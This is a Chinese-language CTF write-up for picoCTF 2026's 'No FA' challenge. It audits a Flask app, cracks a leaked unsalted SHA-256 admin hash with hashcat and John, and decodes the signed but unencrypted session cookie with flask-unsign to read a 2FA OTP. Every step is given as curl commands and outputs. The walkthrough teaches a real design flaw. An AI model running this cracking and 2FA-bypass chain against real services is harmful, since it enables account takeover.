picoCTF 2026 No FA
題目描述:
Seems like some data has been leaked! Can you get the flag?
這題一開始就很明確地給了兩個東西:
- application code:
app.py - leaked data:
users.db
所以它不是純黑箱亂猜題,而是白箱審計題,題名叫 No FA,看起來像是在講 2FA / MFA,再加上題目說資料外洩,所以第一個合理假設是:
洩漏的資料能不能讓我們繞過 2FA?
題目資訊
- 題目:No FA
- 分類:Web Exploitation
- 難度:Medium
- 平台:picoCTF 2026
- 網站類型:登入 + 2FA 的 Flask web app
- 連結:https://learn.cylabacademy.org/library/765
什麼是 client-side session:簽章不是加密
這題的核心是一個很多人會弄混的觀念:Flask 預設的 session 到底放在哪、又保護了什麼,
Flask 預設把 session 內容放在 client-side cookie 裡,這個 cookie 會用 SECRET_KEY 簽章,用途是防止使用者竄改內容——你改了,簽章就對不上。
但「簽章」不等於「加密」:
signed(簽章):你不能改,但你看得到
encrypted(加密):你看不到
也就是說,Flask 預設 session 是 signed cookie,不是 encrypted cookie,只要你手上有那個 cookie(用 curl、Burp、devtools 都拿得到),就能把裡面的內容 decode 出來,記住這件事,這題就通了一半:只要伺服器把任何敏感東西放進 session,那個東西對使用者來說就是「可讀」的,而這題偏偏把 2FA 的 OTP 放了進去。
Step 1:下載題目給的白箱材料
先建立資料夾:
cd /mnt/d/Download
mkdir -p nofa
cd nofa
設定網址:
BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'
下載:
curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db
file app.py users.db
結果可以看到:
app.py: Python script
users.db: SQLite 3.x database
現在方向很明確:
先看 app.py 的登入規則
再看 users.db 裡有什麼資料
Step 2:先看 app.py 的 route
白箱題我通常會先看 route:
rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py
這題的 route 很少:
@app.route("/")
def home():
...
@app.route('/login', methods=['GET', 'POST'])
def login():
...
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
...
@app.route('/logout')
def logout():
...
首頁邏輯:
@app.route("/")
def home():
if 'username' not in session or session['logged'] == 'false':
flash('Please login to access this page', 'red')
return redirect(url_for('login'))
flag = "No flag for you!!"
if session.get('username') == 'admin':
flag = os.getenv('FLAG')
return render_template("index.html", flag=flag)
這裡可以先整理出拿 flag 的條件:
session 裡要有 username
session['logged'] 不能是 false
session['username'] 要等於 admin
也就是:
我們要變成 logged=true 的 admin
Step 3:看登入和 2FA 流程
登入的核心邏輯:
user = db.get_user_by_username(username)
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
if user['two_fa']:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
return redirect(url_for('two_fa'))
else:
session['username'] = username
session['logged'] = 'true'
return redirect(url_for('home'))
這段有兩個重點。
第一,密碼是:
hashlib.sha256(password.encode()).hexdigest()
代表資料庫裡存的是 SHA-256 hash。
第二,如果 two_fa 是 true,會產生 OTP:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
這裡很微妙,
它把 OTP 放進 session['otp_secret'],
在 Flask 預設 session 裡,session 內容會被放在 client-side cookie 中,它會被簽章,避免使用者竄改,但它不是加密。
所以:
不能隨便改
但是可以讀
這就是整題最核心的問題,
接著看 /two_fa:
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
if request.method == 'POST':
otp = request.form['otp']
stored_otp = session['otp_secret']
timestamp = session.get('otp_timestamp')
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
session['logged'] = 'true'
return redirect(url_for('home'))
else:
return render_template('2fa.html')
else:
return render_template('2fa.html')
這代表:
只要我們知道 session 裡的 otp_secret
並在 120 秒內送回去
就可以把 logged 變成 true
Step 4:看洩漏的 users.db
題目給的 users.db 是 SQLite。
可以用 Python 看 schema:
python3 - <<'PY'
import sqlite3
con = sqlite3.connect("users.db")
cur = con.cursor()
print("[tables]")
tables = [r[0] for r in cur.execute(
"SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
print("-", t)
for t in tables:
print(f"\n=== schema: {t} ===")
for row in cur.execute(f"PRAGMA table_info({t})"):
print(row)
print(f"\n=== sample: {t} ===")
for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
print(row)
PY
資料表:
users
users schema:
id
username
email
password
two_fa
admin 那筆資料:
username = admin
email = [email protected]
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1
這裡可以得到兩個判斷:
- admin 有開 2FA,所以登入後會進
/two_fa - admin 密碼 hash 已經外洩,而且沒有 salt
沒有 salt 的 SHA-256 很適合字典攻擊,
Step 5:破解 admin password hash
先把 admin hash 存成檔案:
python3 - <<'PY'
import sqlite3
con = sqlite3.connect("users.db")
cur = con.cursor()
for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
print(row)
open("admin.sha256", "w").write(row[1] + "\n")
PY
cat admin.sha256
用 hashcat:
hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show
或 john:
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256
結果:
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123
現在我們有 admin 密碼:
apple@123
但這還沒結束,因為 admin 有 two_fa=1,登入後還會卡在 2FA。
Step 6:登入 admin,拿到 session cookie
用剛剛爆出的密碼登入:
BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'
curl -sS -i -c cookies.txt -X POST "$BASE/login" \
--data-urlencode "username=admin" \
--data-urlencode "password=$PASS" \
-o login_admin.http
sed -n '1,140p' login_admin.http
cat cookies.txt
結果會看到:
HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...
這代表:
密碼是對的
但 admin 被導到 2FA
而 cookies.txt 裡會有 Flask session cookie。
Step 7:decode Flask session,看 OTP
先裝工具:
python3 -m pip install --user flask-unsign
取出 cookie:
COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"
decode:
python3 -m flask_unsign --decode --cookie "$COOKIE"
結果會看到類似:
{
'logged': 'false',
'otp_secret': '3412',
'otp_timestamp': 1788098991.6469016,
'username': 'admin'
}
這裡就是整題最關鍵的地方,
HttpOnly 不是保護這個問題的答案,
HttpOnly 只是避免瀏覽器裡的 JavaScript 讀 cookie,但使用者本來就拿得到自己收到的 cookie,只要透過 curl、Burp、瀏覽器 devtools、proxy,都能看到 cookie 值,而 Flask session 的內容是可 decode 的。
它被簽章,所以你不能隨便改:
把 logged=false 改成 logged=true
這通常需要知道 Flask SECRET_KEY 才能重新簽,但這題不需要改 cookie,因為 OTP 已經被放在 cookie 裡,我們只需要讀它。
Step 8:送 OTP,完成 2FA
把 otp_secret 送回 /two_fa:
OTP='3412'
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
--data-urlencode "otp=$OTP" \
-o twofa.http
sed -n '1,120p' twofa.http
如果成功,會看到:
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...
這代表 /two_fa 已經把 session 改成:
session['logged'] = 'true'
最後看首頁:
curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html
結果:
picoCTF{Redacted}
學習重點
整條鏈接起來就是:
users.db 洩漏
-> 拿到 admin 的 SHA-256 password hash
-> 用字典爆出 admin 密碼
-> 登入 admin 後進入 /two_fa
-> OTP 被放在 Flask client-side session cookie
-> Flask session 是簽章,不是加密
-> decode cookie 讀出 otp_secret
-> POST OTP
-> 成為 logged=true 的 admin
-> 首頁顯示 flag
真正的問題不是「OTP 太短可以暴力破解」,而是:OTP 被放在使用者可讀的 session cookie 裡,這就讓 2FA 變成 No FA。
真正的突破點是看懂:
session['otp_secret'] = otp
以及知道:
Flask 預設 session 是 signed cookie,不是 encrypted cookie
Signed 只能保證「你不能改」,Encrypted 才能保證「你看不到」,而這題只需要看得到 OTP,就已經夠了。
Member discussion